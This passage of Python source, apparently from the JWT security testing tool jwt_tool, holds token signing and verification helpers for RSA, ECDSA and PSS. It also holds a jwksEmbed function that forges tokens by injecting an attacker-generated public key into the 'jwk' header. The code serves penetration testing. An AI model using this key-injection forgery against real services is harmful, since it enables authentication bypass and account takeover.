config['crypto']['jwks'] return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks def jwksEmbed(newheadDict, newpaylDict): newHead = newheadDict pubKey, privKey = getRSAKeyPair() new_key = RSA.importKey(pubKey) n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big')) e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big')) newjwks = buildJWKS(n, e, config['customising']['jwks_kid']) newHead["jwk"] = newjwks newHead["alg"] = "RS256" if "kid" in newHead: newHead["kid"] = "jwt_tool" key = privKey # key = RSA.importKey(privKey) newContents = genContents(newHead, newpaylDict) newContents = newContents.encode('UTF-8') h = SHA256.new(newContents) signer = PKCS1_v1_5.new(key) try: signature = signer.sign(h) except: cprintc("Invalid Private Key", "red") exit(1) newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") return newSig, newContents.decode('UTF-8') def signTokenRSA(headDict, paylDict, privKey, hashLength): newHead = headDict newHead["alg"] = "RS"+str(hashLength) key = RSA.importKey(open(config['crypto']['privkey']).read()) newContents = genContents(newHead, paylDict) newContents = newContents.encode('UTF-8') if hashLength == 256: h = SHA256.new(newContents) elif hashLength == 384: h = SHA384.new(newContents) elif hashLength == 512: h = SHA512.new(newContents) else: cprintc("Invalid RSA hash length", "red") exit(1) signer = PKCS1_v1_5.new(key) try: signature = signer.sign(h) except: cprintc("Invalid Private Key", "red") exit(1) newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") return newSig, newContents.decode('UTF-8') def signTokenEC(headDict, paylDict, privKey, hashLength): newHead = headDict newHead["alg"] = "ES"+str(hashLength) key = ECC.import_key(open(config['crypto']['ecprivkey']).read()) newContents = genContents(newHead, paylDict) newContents = newContents.encode('UTF-8') if hashLength == 256: h = SHA256.new(newContents) elif hashLength == 384: h = SHA384.new(newContents) elif hashLength == 512: h = SHA512.new(newContents) else: cprintc("Invalid hash length", "red") exit(1) signer = DSS.new(key, 'fips-186-3') try: signature = signer.sign(h) except: cprintc("Invalid Private Key", "red") exit(1) newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") return newSig, newContents.decode('UTF-8') def signTokenPSS(headDict, paylDict, privKey, hashLength): newHead = headDict newHead["alg"] = "PS"+str(hashLength) key = RSA.importKey(open(config['crypto']['privkey']).read()) newContents = genContents(newHead, paylDict) newContents = newContents.encode('UTF-8') if hashLength == 256: h = SHA256.new(newContents) elif hashLength == 384: h = SHA384.new(newContents) elif hashLength == 512: h = SHA512.new(newContents) else: cprintc("Invalid RSA hash length", "red") exit(1) try: signature = pss.new(key).sign(h) except: cprintc("Invalid Private Key", "red") exit(1) newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=") return newSig, newContents.decode('UTF-8') def verifyTokenRSA(headDict, paylDict, sig, pubKey): key = RSA.importKey(open(pubKey).read()) newContents = genContents(headDict, paylDict) newContents = newContents.encode('UTF-8') if "-" in sig: try: sig = base64.urlsafe_b64decode(sig) except: pass try: sig = base64.urlsafe_b64decode(sig+"=") except: pass try: sig = base64.urlsafe_b64decode(sig+"==") except: pass elif "+" in sig: try: sig = base64.b64decode(sig) except: pass try: sig = base64.b64decode(sig+"=") except: pass try: sig = base64.b64decode(sig+"==") except: pass else: cprintc("Signature not Base64 encoded HEX", "red") if headDict['alg'] == "RS256": h = SHA256.new(newContents) elif headDict['alg'] == "RS384": h = SHA384.new(newContents) elif headDict['alg'] == "RS512": h = SHA512.new(newContents) else: cprintc("Invalid RSA algorithm", "red") verifier = PKCS1_v1_5.new(key) try: valid = verifier.verify(h, sig) if valid: cprintc("RSA Signature is VALID", "green") valid = True else: cprintc("RSA Signature is INVALID", "red") valid = False except: cprintc("The Public Key is invalid", "red") return valid def verifyTokenEC(headDict, paylDict, sig, pubKey): newContents = genContents(headDict, paylDict) message = newContents.encode('UTF-8') if "-" in str(sig): try: signature = base64.urlsafe_b64decode(sig) except: pass try: signature = base64.urlsafe_b64decode(sig+"=") except: pass try: signature = base64.urlsafe_b64decode(sig+"==") except: pass elif "+" in str(sig): try: signature = base64.b64decode(sig) except: pass try: signature = base64.b64decode(sig+"=") except: pass try: signature = base64.b64decode(sig+"==") except: pass else: cprintc("Signature not Base64 encoded HEX", "red") if headDict['alg'] == "ES256": h = SHA256.new(message) elif headDict['alg'] == "ES384": h = SHA384.new(message) elif headDict['alg'] == "ES512": h = SHA512.new(message) else: cprintc("Invalid ECDSA algorithm", "red") pubkey = open(pubKey, "r") pub_key = ECC.import_key(pubkey.read()) verifier = DSS.new(pub_key, 'fips-186-3') try: verifier.verify(h, signature) cprintc("ECC Signature is VALID", "green") valid = True except: cprintc("ECC Signature is INVALID", "red") valid = False return valid def verifyTokenPSS(headDict, paylDict, sig, pubKey): key = RSA.importKey(open(pubKey).read()) newContents = genContents(headDict, paylDict) newContents = newContents.encode('UTF-8') if "-" in sig: try: sig = base64.urlsafe_b64decode(sig) except: pass try: sig = base64.urlsafe_b64decode(sig+"=") except: |
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